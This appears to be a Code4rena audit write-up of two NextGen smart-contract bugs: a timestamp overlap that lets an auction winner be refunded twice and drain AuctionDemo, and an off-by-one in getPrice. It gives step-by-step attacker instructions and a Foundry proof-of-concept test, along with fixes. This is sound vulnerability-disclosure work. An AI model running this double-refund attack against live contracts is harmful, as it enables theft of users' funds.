NextGen - Jorgect's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

The AuctionDemo contract allow user to participate in nft auctions, to start an auction admin have to call the mintAndAuction function in minter contract then users can call participateToAuction function in the AunctionDemo contract to participate.

Let´s go straight to the two problem that allow an attacker drain all the contract:

1. There is a time where the claimAuction colapse with the cancelAllBids allowing call the both function in the same block.timestamp. and this time is exactly the end time of the auction:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
  --->  require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && 
        minter.getAuctionStatus(_tokenid) == true);
        ...
}

function cancelBid(uint256 _tokenid, uint256 index) public {
  --->  require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        ...
}

function cancelAllBids(uint256 _tokenid) public {
  --->  require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        ...
}

[Link] [Link] [Link]

2. The status of the bid is not setting to false when a user get refunded via claimAuction:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && 
        minter.getAuctionStatus(_tokenid) == true);
        ...
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == 
                highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
        } else if (auctionInfoData[_tokenid][i].status == true) {
        ---->   (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

[Link]

With that been said a malicious user have to:

1. participate several times in the auction.
2. make sure tha he won the auction (this can be made it easily if the auction is not "popular" or implementing backrun and front run techniques).
3. call claimAuction and then call cancelAllBids in the same block.timestamp.

The malicius user is get paid twice one for the refund of the claimAuction and one for the cancelation of the bid, this is onlyPossible if the owner of the nft that is in the auction had already give the approve to the auctionContract which is going to transferFrom the nft from the owner to the winner.

Impact

Malicious user can drain all the contract if he participate several times in a auction making sure that he win.

Proof of Concept

(https://gist.github.com/jorgect207/5731a1bdf59786930178ee580eed3448) The three files in the gist have to be copied in the test file of the nextgen repository and have to install foundry in the hardhat repository

Run the following test in the TestFoundry.sol:

 function test_gettingPaidTwoTimes() public {
        test_setActuation();
        vm.deal(user2, 1 ether); // user2 just have 1 ether
        vm.deal(user3, 100 ether);
        vm.deal(address(_DossContract), 100 ether);

        vm.prank(user2);
        _auctionDemo.participateToAuction{value: 1 ether}(30000000000);
        vm.prank(user3);
        _auctionDemo.participateToAuction{value: 3 ether}(30000000000);
        vm.warp(block.timestamp + 10 days); // forward time to exactly the end of the actuation.

        //aproving caller

        vm.prank(user1);
        _NextGenCore.approve(address(_auctionDemo), 30000000000);

        //claim auction

        _auctionDemo.claimAuction(30000000000);

        vm.prank(user2);
        _auctionDemo.cancelBid(30000000000, 0);

        uint256 balanceUser2 = user2.balance;
        assert(balanceUser2 == 2 ether); // balance is twice thant the first one
    }

This is a simplification of the attack in this proof of concept user get paid twice, this is only possible if the approve of the nft is already give to the auction contract which is pretty possible. this attack can be scalated to drain all the contract if the attacker participate several times in the auction.

In this cases i made user1 owner of the nft but it can be the admin as well (if he is the owner of the nft).

Tools Used

foundry, manual

Recommended Mitigation Steps

I have to say that the claim function go again the good practices consider change to the pull patter, with that been said:

1. Change the time to claim the nft, insted of require(block.timestamp >= minter.getAuctionEndTime(_tokenid) do this require(block.timestamp > minter.getAuctionEndTime(_tokenid) .

2. When user is refund via claimAuction function change the status of the bid adding auctionInfoData[_tokenid][index].status = false;.

 function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid, this.claimAuction.selector) {
        require(
            ...
        for (uint256 i = 0; i < auctionInfoData[_tokenid].length; i++) {
            ...
            } else if (auctionInfoData[_tokenid][i].status == true) {
        ----->  auctionInfoData[_tokenid][index].status = false;
                (bool success,) =
                payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 
            } else {}
        }
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L540

Vulnerability details

saleOption == 2 is used to give the below behavior of the price:

decreases exponentially every time period collectionPhases[_collectionId].timePeriod sets the time period for decreasing the mintcost if just public mint set the publicStartTime = allowlistStartTime if rate = 0 exponetialy decrease if rate is set the linear decrase each period per rate

The main problem is that the getPrice function is not entring in the salesOption==2 is the yime is equal to publicEndTime which is the last time in the mint.

Impact

User receive unfair price in the last time of the public mint due that the decreasing in price doesn´t apply.

Proof of Concept

file:2023-10-nextgen/smart-contracts/MinterContract.sol
 function getPrice(uint256 _collectionId) public view returns (uint256) {
       ...
        } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
         ...
    }

[Link]

As you can see block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime) the last time of the public mint the contract is not applying the decreasing but users can mint in this time:

file:2023-10-nextgen/smart-contracts/MinterContract.sol
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
       ...
        } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= 
         collectionPhases[col].publicEndTime) {
             ...}
        ...
}

[Link]

Tools Used

Manual review

Recommended Mitigation Steps

Add the last time in the getPrice function :

 function getPrice(uint256 _collectionId) public view returns (uint256) {
       ...
        } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){
         ...
    }

Assessed type

Other